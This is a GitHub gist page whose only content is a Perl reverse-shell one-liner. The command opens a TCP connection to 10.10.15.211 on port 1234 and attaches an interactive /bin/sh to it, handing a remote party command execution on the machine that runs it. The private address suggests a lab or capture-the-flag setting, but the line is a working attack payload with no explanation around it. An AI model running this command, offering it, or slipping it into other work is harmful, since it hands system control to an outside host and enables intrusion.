Skip to content

Instantly share code, notes, and snippets.

@omerxx
Created April 6, 2018 10:00
Show Gist options
  • Select an option

  • Save omerxx/ea4275a8489f473f99f77c77c2491049 to your computer and use it in GitHub Desktop.

Select an option

Save omerxx/ea4275a8489f473f99f77c77c2491049 to your computer and use it in GitHub Desktop.
perl -e 'use Socket;$i="10.10.15.211";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment